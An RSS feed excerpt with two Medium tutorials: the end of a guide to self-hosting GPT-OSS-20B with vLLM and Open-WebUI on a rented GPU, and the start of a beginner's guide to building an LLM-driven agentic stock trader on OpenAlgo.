all network interfaces</li><li>--port 8000: API port</li><li>--dtype auto: Automatically select optimal precision</li><li>--gpu-memory-utilization 0.5: Use 50% of GPU memory (conservative for 20B model)</li><li>--max-model-len 8192: Maximum context window size</li><li>--trust-remote-code: Required for GPT-OSS custom code</li></ul><p>Monitor the startup process:</p><pre>tail -f vllm-gptoss.log</pre><p>Wait for the message “Application startup complete.” This takes 2–3 minutes as the model loads into GPU memory.</p><p>Press Ctrl+C to exit the log viewer. The server continues running in the background.</p><h3>Step 8: Verifying vLLM API</h3><p>Test that the API is responding correctly:</p><pre>curl http://localhost:8000/health</pre><p>Expected output: {&quot;status&quot;:&quot;ok&quot;}</p><p>Check available models:</p><pre>curl http://localhost:8000/v1/models</pre><p>You should see JSON output listing openai/gpt-oss-20b as an available model.</p><p>Test a simple completion:</p><pre>curl http://localhost:8000/v1/chat/completions \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{<br>    &quot;model&quot;: &quot;openai/gpt-oss-20b&quot;,<br>    &quot;messages&quot;: [<br>      {&quot;role&quot;: &quot;user&quot;, &quot;content&quot;: &quot;What is algorithmic trading?&quot;}<br>    ],<br>    &quot;max_tokens&quot;: 200<br>  }&#39;</pre><p>If you receive a JSON response with generated text, your vLLM server is working correctly.</p><h3>Step 9: Deploying Open-WebUI</h3><p>Open-WebUI provides a modern chat interface similar to ChatGPT.</p><p>Start the Open-WebUI Docker container:</p><pre>docker run -d \<br>  --name open-webui \<br>  --gpus all \<br>  -p 3000:8080 \<br>  --add-host=host.docker.internal:host-gateway \<br>  -v open-webui:/app/backend/data \<br>  -e OPENAI_API_BASE_URL=http://host.docker.internal:8000/v1 \<br>  -e OPENAI_API_KEY=dummy \<br>  -e WEBUI_AUTH=False \<br>  ghcr.io/open-webui/open-webui:cuda</pre><p>Configuration breakdown:</p><ul><li>--name open-webui: Container name</li><li>--gpus all: GPU access (for potential future features)</li><li>-p 3000:8080: Map container port 8080 to host port 3000</li><li>--add-host: Allows container to reach host&#39;s localhost</li><li>-v open-webui: Persistent storage for conversations</li><li>-e OPENAI_API_BASE_URL: Point to your vLLM server</li><li>-e OPENAI_API_KEY: Dummy key (vLLM doesn&#39;t require authentication)</li><li>-e WEBUI_AUTH=False: Disable login for simplicity</li></ul><p>Wait 15–20 seconds for the container to start, then check status:</p><pre>docker ps</pre><p>You should see the open-webui container with status &quot;healthy&quot;.</p><h3>Step 10: Accessing Your AI Interface</h3><p>Open your web browser and navigate to:</p><pre>http://xx.xx.xx.xx:3000</pre><p>Replace xx.xx.xx.xx with your actual server IP address.</p><p>You should see the Open-WebUI interface. Click on the model selector dropdown at the top of the page. You should see “openai/gpt-oss-20b” listed.</p><p>Select the model and start chatting. Try a test prompt:</p><pre>Explain the difference between momentum and mean reversion trading strategies.</pre><p>The first response takes 15–20 seconds as CUDA performs initial warmup. Subsequent responses are much faster, typically 5–10 seconds.</p><h3>Understanding Performance Metrics</h3><p>vLLM automatically logs performance metrics. View them in real-time:</p><pre>tail -f ~/gpt-20b-server/vllm-gptoss.log | grep &quot;throughput&quot;</pre><p>Key metrics to watch:</p><p><strong>Prompt Throughput</strong>: Speed of processing your input text, typically 200–300 tokens per second.</p><p><strong>Generation Throughput</strong>: Speed of generating output text. For GPT-OSS-20B on H200, expect 100–120 tokens per second.</p><p><strong>GPU KV Cache Usage</strong>: Memory used for caching previous tokens in conversation. Should stay below 10% for optimal performance.</p><p>These metrics help you understand system performance and identify bottlenecks.</p><h3>Configuring VS Code Integration</h3><p>For developers who want AI assistance while coding, integrate with VS Code using the Continue extension.</p><p>Install the Continue extension from VS Code marketplace.</p><p>Open Continue settings and edit config.json:</p><pre>{<br>  &quot;models&quot;: [<br>    {<br>      &quot;title&quot;: &quot;GPT-OSS-20B&quot;,<br>      &quot;provider&quot;: &quot;openai&quot;,<br>      &quot;model&quot;: &quot;openai/gpt-oss-20b&quot;,<br>      &quot;apiKey&quot;: &quot;dummy&quot;,<br>      &quot;apiBase&quot;: &quot;http://xx.xx.xx.xx:8000/v1&quot;,<br>      &quot;contextLength&quot;: 32768,<br>      &quot;completionOptions&quot;: {<br>        &quot;maxTokens&quot;: 8000,<br>        &quot;temperature&quot;: 0.7<br>      }<br>    }<br>  ]<br>}</pre><p>Replace xx.xx.xx.xx with your server IP. Save the configuration and restart VS Code.</p><p>You can now use your self-hosted model directly within your code editor.</p><h3>Use Cases for Trading Applications</h3><p>With your AI infrastructure running, here are practical applications for algorithmic trading:</p><p><strong>Strategy Documentation</strong>: Generate comprehensive documentation for your trading strategies, explaining logic, parameters, and risk management in plain English.</p><p><strong>Code Generation</strong>: Create boilerplate code for backtesting frameworks, data pipelines, or API integrations. For example: “Write a Python function to calculate Bollinger Bands for a given price series.”</p><p><strong>Market Analysis</strong>: Analyze earnings reports, news sentiment, or market commentary. Feed the model text data and ask for structured insights.</p><p><strong>Educational Content</strong>: Generate explanations of complex trading concepts for courses or blog posts. The model understands financial terminology and can explain at various expertise levels.</p><p><strong>Data Transformation</strong>: Convert between different data formats, clean datasets, or generate test data for backtesting systems.</p><p><strong>Debugging Assistant</strong>: Paste error messages or problematic code and ask for debugging suggestions, particularly useful for complex algorithmic strategies.</p><p><strong>API Documentation</strong>: Generate API documentation for your trading systems or explain third-party API endpoints in simple terms.</p><h3>Reasoning Levels in GPT-OSS</h3><p>GPT-OSS supports three reasoning levels that can be specified in system prompts:</p><p><strong>Low Reasoning</strong>: Fast responses for simple questions. Use when speed is more important than depth. Example: “Reasoning: low”</p><p><strong>Medium Reasoning</strong>: Balanced approach with good quality and acceptable speed. This is the default. Example: “Reasoning: medium”</p><p><strong>High Reasoning</strong>: Deep analysis for complex problems. Takes longer but provides more thorough answers. Example: “Reasoning: high”</p><p>Set the reasoning level in your system prompt:</p><pre>{<br>  &quot;role&quot;: &quot;system&quot;,<br>  &quot;content&quot;: &quot;Reasoning: high\n\nYou are a trading strategy analyst.&quot;<br>}</pre><h3>Monitoring and Maintenance</h3><p><strong>Check vLLM Status</strong></p><pre>ps aux | grep vllm</pre><p>If the process isn’t running, restart it using the command from Step 7.</p><p><strong>View Recent Logs</strong></p><pre>tail -100 ~/gpt-20b-server/vllm-gptoss.log</pre><p><strong>Check GPU Memory Usage</strong></p><pre>nvidia-smi</pre><p>Monitor GPU utilization and memory. GPT-OSS-20B should use approximately 14GB of VRAM.</p><p><strong>Check Open-WebUI Status</strong></p><pre>docker ps -a | grep open-webui</pre><p>If the container stopped, restart it:</p><pre>docker restart open-webui</pre><p><strong>View Open-WebUI Logs</strong></p><pre>docker logs open-webui | tail -50</pre><h3>Upgrading to GPT-OSS-120B</h3><p>If you need higher quality reasoning and have sufficient VRAM (80GB minimum), upgrade to the larger model.</p><p>Stop the current vLLM server:</p><pre>pkill -f vllm</pre><p>Download GPT-OSS-120B:</p><pre>cd ~/gpt-20b-server<br>source venv/bin/activate<br>huggingface-cli download openai/gpt-oss-120b --local-dir ~/models/gpt-oss-120b</pre><p>Start vLLM with the larger model:</p><pre># Export environment variable<br>export VLLM_USE_FLASHINFER_SAMPLER=0<br><br># Start vLLM server<br>nohup python -m vllm.entrypoints.openai.api_server \<br>  --model openai/gpt-oss-120b \<br>  --download-dir ~/models \<br>  --host 0.0.0.0 \<br>  --port 8000 \<br>  --dtype auto \<br>  --gpu-memory-utilization 0.9 \<br>  --max-model-len 32768 \<br>  --trust-remote-code \<br>  &gt; vllm-server.log 2&gt;&amp;1 &amp;<br><br>PID=$!<br>echo &quot;📋 Process ID: $PID&quot;<br>echo &quot;⏳ Server is starting (takes 2-3 minutes)...&quot;<br>echo &quot;&quot;</pre><p>The 120B model provides near-GPT-4o quality at the cost of slower inference (60–80 tokens per second vs 100–120 for the 20B model).</p><h3>Troubleshooting Common Issues</h3><p><strong>Issue: Cannot Connect to Web Interface</strong></p><p>Check if Open-WebUI is running:</p><pre>docker ps | grep open-webui</pre><p>Verify firewall allows port 3000:</p><pre>ufw status | grep 3000</pre><p>Check Open-WebUI logs for errors:</p><pre>docker logs open-webui</pre><p><strong>Issue: Model Not Appearing in Dropdown</strong></p><p>Refresh your browser with Ctrl+F5 (hard refresh).</p><p>Verify vLLM is running:</p><pre>curl http://localhost:8000/v1/models</pre><p>Check Open-WebUI can reach vLLM:</p><pre>docker exec open-webui curl http://host.docker.internal:8000/v1/models</pre><p><strong>Issue: Slow Response Times</strong></p><p>Check GPU utilization during inference:</p><pre>watch -n 1 nvidia-smi</pre><p>If GPU utilization is low, increase batch size or concurrent requests. If it’s maxed out, your model is at capacity.</p><p>Review vLLM logs for performance metrics:</p><pre>tail -f ~/gpt-20b-server/vllm-gptoss.log | grep &quot;Engine&quot;</pre><p><strong>Issue: Out of Memory Errors</strong></p><p>Reduce --gpu-memory-utilization parameter:</p><pre>--gpu-memory-utilization 0.4</pre><p>Or decrease --max-model-len:</p><pre>--max-model-len 4096</pre><p><strong>Issue: vLLM Won’t Start</strong></p><p>Check logs for specific errors:</p><pre>cat ~/gpt-20b-server/vllm-gptoss.log | grep -i error</pre><p>Common causes include insufficient disk space, incorrect model path, or CUDA version mismatches.</p><h3>Cost Optimization Strategies</h3><p><strong>Stop Instance When Not in Use</strong></p><p>Datacrunch bills per minute. Stop your instance during non-working hours:</p><pre># On your local machine<br>ssh root@xx.xx.xx.xx &quot;shutdown -h now&quot;</pre><p>Running 8 hours daily instead of 24/7 saves approximately $1,300 monthly.</p><p><strong>Use Longer Commitments</strong></p><p>Datacrunch offers discounts for longer contracts:</p><ul><li>1 month: 2% discount</li><li>3 months: 3% discount</li><li>6 months: 4% discount</li><li>1 year: 8% discount</li><li>2 years: 25% discount</li></ul><p>A 1-year commitment reduces costs from $1,951 to $1,737 monthly, saving $214 per month.</p><p><strong>Consider Smaller GPUs</strong></p><p>If GPT-OSS-20B meets your needs, an H100 (80GB) at $2.048/hour saves 21% compared to the H200, or approximately $375 monthly for 24/7 operation.</p><p><strong>Use Spot Instances</strong></p><p>Some providers offer spot instances at 50–70% discounts. However, these can be interrupted with short notice. Suitable for non-production workloads.</p><h3>Security Considerations</h3><p><strong>Change Default Ports</strong></p><p>For production deployments, consider non-standard ports:</p><pre>ufw delete allow 8000/tcp<br>ufw delete allow 3000/tcp<br>ufw allow 18000/tcp  # Custom vLLM port<br>ufw allow 13000/tcp  # Custom WebUI port</pre><p>Update your vLLM and Docker run commands accordingly.</p><p><strong>Enable Authentication</strong></p><p>Open-WebUI supports authentication. Remove the WEBUI_AUTH=False flag and configure user accounts through the web interface.</p><p><strong>Use Reverse Proxy</strong></p><p>For production, place Nginx in front of your services:</p><pre>apt install nginx -y</pre><p>Configure Nginx to handle SSL/TLS, rate limiting, and access controls.</p><p><strong>Restrict SSH Access</strong></p><p>Limit SSH to specific IP addresses:</p><pre>ufw delete allow 22/tcp<br>ufw allow from YOUR_IP_ADDRESS to any port 22</pre><p><strong>Regular Updates</strong></p><p>Keep your system updated:</p><pre>apt update &amp;&amp; apt upgrade -y</pre><p>Update vLLM regularly:</p><pre>cd ~/gpt-20b-server<br>source venv/bin/activate<br>pip install --upgrade vllm</pre><h3>Credits and Acknowledgments</h3><p>This guide builds upon the work and contributions of several individuals and projects:</p><p><strong>OpenAI</strong>: For releasing GPT-OSS-20B and GPT-OSS-120B under the permissive Apache 2.0 license, making powerful AI accessible to everyone.</p><p><strong>1littlecoder</strong>: YouTube creator whose cutting-edge AI tutorials and practical demonstrations helped validate these approaches and educated the broader community on working with modern LLMs.</p><p><strong>vLLM Development Team</strong>: For creating and maintaining the high-performance inference engine that makes running large models practical and efficient.</p><p><strong>Open-WebUI Team</strong>: For developing the excellent web interface that brings a professional ChatGPT-like experience to self-hosted models.</p><p><strong>Hugging Face</strong>: For hosting model weights and providing infrastructure that makes distributing open-source models seamless.</p><p><strong>Datacrunch</strong>: For providing competitively priced GPU infrastructure with modern hardware and developer-friendly features.</p><p><strong>Docker and NVIDIA</strong>: For containerization technology and CUDA toolkit that simplifies deployment and GPU access.</p><h3>Additional Resources</h3><p><strong>Official Documentation</strong></p><ul><li>OpenAI GPT-OSS Model Card: <a href="https://openai.com/index/gpt-oss-model-card/">https://openai.com/index/gpt-oss-model-card/</a></li><li>vLLM Documentation: <a href="https://docs.vllm.ai">https://docs.vllm.ai</a></li><li>Open-WebUI Documentation: <a href="https://docs.openwebui.com">https://docs.openwebui.com</a></li><li>Hugging Face GPT-OSS Hub: <a href="https://huggingface.co/openai/gpt-oss-20b">https://huggingface.co/openai/gpt-oss-20b</a></li></ul><p><strong>Community Resources</strong></p><ul><li>vLLM GitHub: <a href="https://github.com/vllm-project/vllm">https://github.com/vllm-project/vllm</a></li><li>Open-WebUI GitHub: <a href="https://github.com/open-webui/open-webui">https://github.com/open-webui/open-webui</a></li><li>OpenAI GPT-OSS Announcement: <a href="https://openai.com/index/introducing-gpt-oss/">https://openai.com/index/introducing-gpt-oss/</a></li></ul><p><strong>Learning Materials</strong></p><ul><li><a href="https://www.youtube.com/@1littlecoder">1littlecoder YouTube Channel:</a> Search for latest AI/ML tutorials</li><li>Hugging Face Blog on GPT-OSS: <a href="https://huggingface.co/blog/welcome-openai-gpt-oss">https://huggingface.co/blog/welcome-openai-gpt-oss</a></li></ul><h3>Conclusion</h3><p>Self-hosting AI infrastructure provides traders and developers with unprecedented control, privacy, and cost efficiency. With GPT-OSS-20B, you have access to a capable reasoning model that handles everything from code generation to market analysis without external dependencies.</p><p>The initial setup requires some technical investment, but the result is a production-ready system that serves unlimited requests at a fixed cost. For high-volume applications, trading strategy development, or educational content creation, this approach offers significant advantages over API-based services.</p><p>As open-source AI continues to evolve, having your own infrastructure positions you to experiment with new models, fine-tune on proprietary data, and build sophisticated AI-powered trading tools without vendor lock-in.</p><p>The complete setup outlined in this guide provides a solid foundation. From here, you can explore fine-tuning models on your trading data, building RAG systems with your research, or integrating AI into your existing trading infrastructure.</p><p>Whether you’re developing algorithmic strategies, creating educational content, or building trading tools, self-hosted AI gives you the flexibility and control to innovate without constraints.</p><p><strong>Disclaimer</strong></p><p>This article is for educational purposes. Trading involves substantial risk of loss. AI-generated content should not be considered financial advice. Always verify AI outputs and conduct thorough testing before deploying any trading strategies.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e85ec2a46ad" width="1" height="1" alt="">]]></content:encoded>
            <author>Rajandran R (Creator - OpenAlgo)</author>
            <category>gpt-oss</category>
            <category>cline-extension</category>
            <category>self-hosting</category>
            <category>vllm</category>
            <category>open-source</category>
        </item>
        <item>
            <title><![CDATA[Building an Agentic Trader from Scratch: A Beginner’s Guide]]></title>
            <link>https://openalgo.medium.com/building-an-agentic-trader-from-scratch-a-beginners-guide-bb74b10438b4?source=rss-cda86e929c3------2</link>
            <guid isPermaLink="false">https://openalgo.medium.com/building-an-agentic-trader-from-scratch-a-beginners-guide-bb74b10438b4?source=rss-cda86e929c3------2</guid>
            <pubDate>Mon, 03 Nov 2025 18:16:12 GMT</pubDate>
            <content:encoded><![CDATA[<p>Imagine having an AI assistant that watches the stock market 24/7, analyzes multiple technical indicators, makes trading decisions, and executes trades automatically. This isn’t science fiction — it’s what we call an “agentic trader.” In this article, I’ll walk you through how to build one from scratch, even if you’re just starting out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S9d4APc2TDYZPleP-YZAQA.png" /><figcaption>Autonomous Agentic Trader</figcaption></figure><p><strong>What is an Agentic Trader?</strong></p><p>An agentic trader is an AI-powered autonomous system that can make and execute trading decisions without constant human intervention. Think of it as a robot trader that:</p><p>- Monitors market data in real-time</p><p>- Analyzes technical indicators (like RSI, MACD, Bollinger Bands)</p><p>- Makes BUY/SELL/HOLD decisions based on patterns</p><p>- Executes trades automatically through a broker API</p><p>- Learns from past trades to improve over time</p><p>The key word here is “agentic” — meaning it has agency. It can take actions on its own within the rules you set.</p><p><strong>Understanding the Building Blocks</strong></p><p>Before we dive into building, let’s understand the three key technologies that make this possible:</p><p><strong>1. OpenAI Agents SDK: The Brain</strong></p><p>The <a href="https://github.com/openai/openai-agents-python">OpenAI Agents SDK</a> is a framework that lets you build AI agents — programs that can think, plan, and take actions. Here’s what makes it special:</p><p><strong>What it does:</strong></p><p>- Gives your AI the ability to use tools (like checking stock prices, placing orders)</p><p>- Allows the AI to plan multi-step actions (“First check the price, then if it’s below $100, buy 10 shares”)</p><p>- Handles the back-and-forth conversation between the AI and your tools</p><p>- Manages memory so the agent remembers previous trades.</p><p><strong>Why it’s powerful:</strong></p><p>Think of it like giving your AI hands and feet. Without the SDK, an AI model like GPT-5 can only generate text. With the SDK, it can actually DO things — check your account balance, fetch stock prices, place orders, and more.</p><p><strong>Example:</strong></p><blockquote>Without SDK: AI can only suggest</blockquote><blockquote>AI: “I think you should buy RELIANCE stock”</blockquote><blockquote>With SDK: AI can actually execute</blockquote><blockquote>AI: *checks price* “RELIANCE is at 1385”</blockquote><blockquote>AI: *checks your balance* “You have sufficient funds”</blockquote><blockquote>AI: *places order* “Bought 10 shares of RELIANCE at 1385”</blockquote><p><strong>2. LiteLLM: The Universal Translator</strong></p><p><a href="https://github.com/BerriAI/litellm">LiteLLM</a> is like a universal adapter for AI models. Here’s why it matters:</p><p><strong>The Problem:</strong></p><p>Different AI providers (OpenAI, Google, Anthropic, Groq, Cerebras) all have different APIs. If you build your agent to work with OpenAI’s GPT-5, switching to a faster or cheaper model from another provider means rewriting your code.</p><p><strong>The Solution:</strong></p><p>LiteLLM translates between all these different APIs into one standard format. Write your code once, and it works with 100+ different AI models.</p><p><strong>Why this matters for trading:</strong></p><p>Different models have different strengths:</p><p>- <strong>OpenAI GPT-5</strong>: High quality reasoning, but slower and expensive</p><p>- <strong>Cerebras GPT OSS-120B</strong>: Ultra-fast (2000+ tokens/second), great for real-time trading</p><p>- <strong>Groq Llama 3.3</strong>: Fast and cheap ($0.59 per 1M tokens), perfect for testing</p><p>- <strong>Claude 4.5 Sonnet</strong>: Excellent at complex analysis, but pricey</p><p>With LiteLLM, you can switch between them by changing just ONE line in your config file:</p><pre># .env file<br>MODEL_PROVIDER=cerebras # Ultra-fast for production<br>MODEL_PROVIDER=groq # Cheap for testing<br>MODEL_PROVIDER=openai # High quality reasoning</pre><p>No code changes needed. Just swap and go.</p><p><strong>3. Why Build Model-Agnostic?</strong></p><p>Being model-agnostic (able to work with any AI model) gives you superpowers:</p><p><strong>Cost Optimization:</strong></p><p>- Development: Use cheap Groq models ($0.59/million tokens)</p><p>- Production: Switch to fast Cerebras models ($0.60/million tokens)</p><p>- Analysis: Use powerful Claude models when you need deep reasoning</p><p><strong>Speed Matters:</strong></p><p>In trading, milliseconds count. With model-agnostic design:</p><p>- OpenAI GPT-5-mini: 3–5 seconds per trading decision</p><p>- Cerebras Llama 3.1: 0.5–1 second per decision (80% faster!)</p><p><strong>Fallback Strategy:</strong></p><p>If one provider has downtime, instantly switch to another. Your trading doesn’t stop.</p><p><strong>Future-Proof:</strong></p><p>New, better models come out every month. With LiteLLM, you can test them immediately without changing your code.</p><p><strong>Token Efficiency: Why It Matters</strong></p><p>Here’s something most beginners don’t realize: AI models charge you by the “token” (roughly a word or piece of a word). Every message you send and every response costs money.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dHED3vBXu5_ikRz7" /></figure><p><strong>The Token Efficiency Lesson</strong></p><p>When I first built my agentic trader, I made a common mistake: using a multi-agent architecture (multiple specialized AI agents working together). Here’s what I learned:</p><p><strong>Multi-Agent Architecture:</strong></p><p>- Market Analysis Agent (analyzes charts)</p><p>- Risk Management Agent (checks if trade is safe)</p><p>- Execution Agent (places orders)</p><p>- Memory Agent (remembers past trades)</p><p>- Coordinator Agent (manages all the others)</p><p>Sounds smart, right? But here’s the cost:</p><pre>Per Trading Cycle:<br>- Input tokens: 144,000<br>- Cost: $0.023<br>- Time: 12–20 seconds<br>- Daily cost (75 cycles): $1.73<br>- Monthly cost: ~$52</pre><p><strong>**Single Agent Architecture:**</strong></p><p>One smart agent that does everything:</p><pre>Per Trading Cycle:<br>- Input tokens: 30,000 (79% less!)<br>- Cost: $0.008 (65% cheaper!)<br>- Time: 3–6 seconds (70% faster!)<br>- Daily cost (75 cycles): $0.60<br>- Monthly cost: ~$18</pre><p><strong>The Lesson:</strong></p><p>More agents ≠ Better results. In fact, simpler is often better. Each time agents talk to each other, you pay for tokens. A well-designed single agent is faster, cheaper, and easier to debug.</p><p><strong>Building the Agentic Trader Prototype</strong></p><p>Now let’s talk about what our prototype actually does. This is an educational system designed to teach you how agentic trading works — NOT for live trading.</p><p><strong>What the Prototype Does</strong></p><p><strong>1. Market Analysis:</strong></p><p>The agent analyzes 5 NSE stocks (ICICIBANK, RELIANCE, SBIN, WIPRO, ITC) using 7 professional technical indicators:</p><p>- <strong>RSI</strong> (Relative Strength Index): Is the stock overbought or oversold?</p><p>- <strong>MACD</strong> (Moving Average Convergence Divergence): What’s the momentum?</p><p>- <strong>Bollinger Bands</strong>: Is the price at an extreme?</p><p>- <strong>EMA</strong> (Exponential Moving Average): What’s the trend direction?</p><p>- <strong>Stochastic Oscillator</strong>: Are we at a reversal point?</p><p>- <strong>ADX</strong> (Average Directional Index): How strong is the trend?</p><p>- <strong>ATR</strong> (Average True Range): How volatile is the stock?</p><p>The agent fetches all this data in parallel (all 5 stocks at once) in just 2–3 seconds.</p><p><strong>2. Decision Making:</strong></p><p>The agent looks for alignment across indicators. It only trades when 3+ indicators agree:</p><pre>Example Decision Process:<br>ICICIBANK:<br>- RSI: 28 (oversold) → BUY signal<br>- MACD: Bullish crossover → BUY signal<br>- Price: Near lower Bollinger Band → BUY signal<br>- EMA: Price above 20 EMA → BUY signal<br>- Stochastic: &lt; 20 → BUY signal<br>Result: 5 aligned signals → STRONG BUY<br>Action: Place market order for 7 shares (Rs.10,000 investment)</pre><p><strong>3. Risk Management:</strong></p><p>The agent has built-in safety features:</p><p>- <strong>Daily Stop-Loss</strong>: Stops trading if you lose more than Rs.10,000 in a day</p><p>- <strong>Trade Limits</strong>: Maximum 5 trades per stock per day</p><p>- <strong>Position Control</strong>: Won’t add to existing positions (no pyramiding)</p><p>- <strong>Market Hours</strong>: Only trades 9:15 AM — 3:15 PM IST</p><p>- <strong>Auto Square-Off</strong>: Closes all positions at 3:15 PM</p><p><strong>4. Memory &amp; Learning:</strong></p><p>The agent remembers:</p><p>- Every trade it made</p><p>- Profit/loss per trade</p><p>- Which indicators worked best</p><p>- Market conditions during each trade</p><p>This helps it improve over time (though remember, this is a learning prototype, not a money-making guarantee).</p><p><strong>5. Account Access:</strong></p><p>Through OpenAlgo, the agent can:</p><p>- Check your account balance</p><p>- View open positions</p><p>- See profit/loss in real-time</p><p>- Place market orders</p><p>- Cancel pending orders</p><p>- Close positions</p><p><strong>Setting Up: What You Need</strong></p><p>To build and run this prototype, you need:</p><p><strong>1. OpenAlgo Running on Your System</strong></p><p><strong>What is OpenAlgo?</strong></p><p>OpenAlgo is an open-source bridge between your code and your stock broker. It translates your code commands into broker-specific API calls.</p><p><strong>Setup Steps:</strong></p><p># Install OpenAlgo from</p><p>git clone <a href="https://github.com/marketcalls/openalgo">https://github.com/marketcalls/openalgo</a></p><p>OpenAlgo by default runs on: <a href="http://127.0.0.1:5000">http://127.0.0.1:5000</a></p><p><strong>Connect Your Broker:</strong></p><p>- Log into OpenAlgo dashboard</p><p>- Connect your broker account (Zerodha, Fyers, Dhan, Upstox, etc.)</p><p>- Generate an API key</p><p>- Save the API key for your trading agent</p><p><strong>Why OpenAlgo?</strong></p><p>Without it, you’d need to write broker-specific code for each broker. OpenAlgo gives you one universal API that works with 23+ Indian brokers.</p><p><strong>2. Get an LLM API Key</strong></p><p>You need an API key from at least one AI model provider. Here are your options:</p><p><strong>For Beginners (Cheapest):</strong></p><p>- <strong>**Groq**</strong>: Free tier available, very fast</p><p>- Get key at: <a href="https://console.groq.com/">https://console.groq.com/</a></p><p>- Model: llama-3.3–70b-versatile</p><p>- Cost: $0.59 per 1M tokens</p><p><strong>For Production (Fastest):</strong></p><p>- <strong>Cerebras</strong>: Ultra-fast inference</p><p>- Get key at: <a href="https://cloud.cerebras.ai/">https://cloud.cerebras.ai/</a></p><p>- Model: llama3.1–8b</p><p>- Cost: $0.60 per 1M tokens</p><p>- Speed: 1800+ tokens/second</p><p><strong>For Quality (Most Accurate):</strong></p><p>- <strong>OpenAI</strong>: Industry standard</p><p>- Get key at: <a href="https://platform.openai.com/">https://platform.openai.com/</a></p><p>- Model: gpt-5-mini</p><p>- Cost: $0.15 input / $0.60 output per 1M tokens</p><p><strong>Recommendation for Learning:</strong></p><p>Start with Groq. It’s fast, cheap, and perfect for testing. Once you understand how everything works, you can switch to Cerebras for speed or OpenAI for quality.</p><p><strong>3. Install the Agentic Trader</strong></p><p># Clone the repository</p><pre>git clone https://github.com/marketcalls/Agentic-Trader.git<br>cd Agentic-Trader<br># Install uv package manager (fast Python installer)<br>curl -LsSf https://astral.sh/uv/install.sh | sh<br># Install dependencies<br>uv sync<br># Configure environment<br>cp .env.example .env</pre><p>Edit the `.env` file:</p><pre># Choose your AI provider<br>MODEL_PROVIDER=groq<br># Add your AI API key<br>GROQ_API_KEY=gsk-your-key-here<br>GROQ_MODEL=groq/llama-3.3–70b-versatile<br># Add your OpenAlgo API key<br>OPENALGO_API_KEY=your-openalgo-key-here<br>OPENALGO_HOST=http://127.0.0.1:5000</pre><p><strong>4. Run the Agent</strong></p><pre># Start the agent<br>uv run python agent.py</pre><p>You’ll see output like:</p><pre>================================================================================<br>[INIT] Initializing Trading State…<br>================================================================================<br>[INIT] Fetching account funds…<br>[INIT] ✓ Available Cash: Rs.10,500.00<br>[INIT] Fetching open positions…<br>[INIT] ✓ Open Positions: 0<br>[INIT] ✓ Daily P&amp;L: Rs.0.00<br>[INIT] ✓ Stop-loss check: OK<br>================================================================================<br>Trading Cycle: 2025–01–15 10:30:00 IST<br>================================================================================<br>[BULK DATA] Fetching data for 5 symbols in parallel…<br>[BULK DATA] Completed in 2.3 seconds<br>ICICIBANK: BUY Order#123 (MACD bullish)<br>RELIANCE: HOLD (weak signals)<br>SBIN: HOLD (existing position)<br>WIPRO: SELL Order#124 (take profit)<br>ITC: HOLD (mixed signals)<br>[TOKEN USAGE]<br>Total Tokens: 31,085<br>Cost: $0.008</pre><p><strong>How It All Works Together</strong></p><p>Let me walk you through a complete trading cycle:</p><p><strong>Step 1: Initialization (Happens Once at Startup)</strong></p><pre>Agent starts → Connects to OpenAlgo → Checks account balance<br>→ Fetches open positions → Calculates current P&amp;L<br>→ Verifies stop-loss status → Ready to trade</pre><p><strong>Step 2: Market Data Fetch (Every 5 Minutes)</strong></p><pre>Agent wakes up → Fetches data for all 5 stocks in parallel<br>→ Gets quotes, depth, historical data<br>→ Calculates 7 technical indicators for each stock<br>→ Completes in 2–3 seconds</pre><p><strong>Step 3: Analysis (For Each Stock)</strong></p><pre>Agent analyzes ICICIBANK:<br>→ RSI = 28 (oversold)<br>→ MACD = bullish crossover<br>→ Price near lower Bollinger Band<br>→ 3+ indicators aligned → BUY signal<br>Agent checks risk constraints:<br>→ Daily P&amp;L = Rs.250 (OK, below stop-loss)<br>→ Trades today = 2 (OK, below limit of 5)<br>→ Existing position? No (OK to trade)<br>→ Risk check PASSED<br>Agent calculates position size:<br>→ LTP = Rs.1,346.40<br>→ Investment = Rs.10,000<br>→ Quantity = 7 shares<br>→ Actual cost = Rs.9,424.80</pre><p><strong>Step 4: Execution</strong></p><pre>Agent places market order:<br>→ Symbol: ICICIBANK<br>→ Action: BUY<br>→ Quantity: 7<br>→ Order Type: MARKET (instant execution)<br>→ Strategy: AI Agent<br>OpenAlgo sends order to broker<br>→ Broker executes immediately at market price<br>→ Order ID: #123<br>→ Status: COMPLETED</pre><p><strong>Step 5: Tracking</strong></p><pre>Agent updates state:<br>→ Records trade in history<br>→ Updates trade count (now 3 for ICICIBANK)<br>→ Calculates new P&amp;L<br>→ Saves to memory for learning</pre><p><strong>**Step 6: Wait**</strong></p><pre>Agent sleeps for 5 minutes → Repeat from Step 2</pre><p><strong>**Step 7: Square-Off (3:15 PM)**</strong></p><pre>Market closing time → Agent checks all open positions<br>→ ICICIBANK: 7 shares long → Place SELL 7 shares<br>→ RELIANCE: 1 share short → Place BUY 1 share<br>→ All positions closed<br>→ Cancel any pending orders<br>→ Done for the day</pre><p><strong>## Understanding the Architecture</strong></p><p>Here’s what makes this prototype token-efficient:</p><p><strong>### Single Agent Flow</strong></p><pre>┌─────────────────────────────────────┐<br>│ AUTONOMOUS TRADING AGENT │<br>│ (One Smart Agent) │<br>└─────────────────┬───────────────────┘<br>│<br>▼<br>┌─────────────────────────────────┐<br>│ BULK DATA FETCH (Parallel) │<br>│ • All 5 stocks at once │<br>│ • 2–3 seconds total │<br>└─────────────┬───────────────────┘<br>│<br>▼<br>┌─────────────────────────────────┐<br>│ ANALYZE EACH STOCK │<br>│ • Check 7 indicators │<br>│ • Make BUY/SELL/HOLD decision │<br>└─────────────┬───────────────────┘<br>│<br>▼<br>┌─────────────────────────────────┐<br>│ VALIDATE &amp; EXECUTE │<br>│ • Check risk constraints │<br>│ • Calculate position size │<br>│ • Place orders in bulk │<br>└─────────────┬───────────────────┘<br>│<br>▼<br>┌─────────────────────────────────┐<br>│ OPENALGO → BROKER │<br>│ • Orders executed │<br>└─────────────────────────────────┘</pre><p><strong>Why This is Efficient</strong></p><p><strong>Single Context:</strong></p><p>Instead of passing data between multiple agents (which costs tokens), everything happens in one conversation. The agent gets all the data once, makes all decisions, and executes all orders in one go.</p><p><strong>Bulk Operations:</strong></p><p>- Fetches data for ALL stocks in parallel (not one by one)</p><p>- Places ALL orders at once (not sequentially)</p><p>- Checks ALL risk constraints in one batch</p><p><strong>Minimal 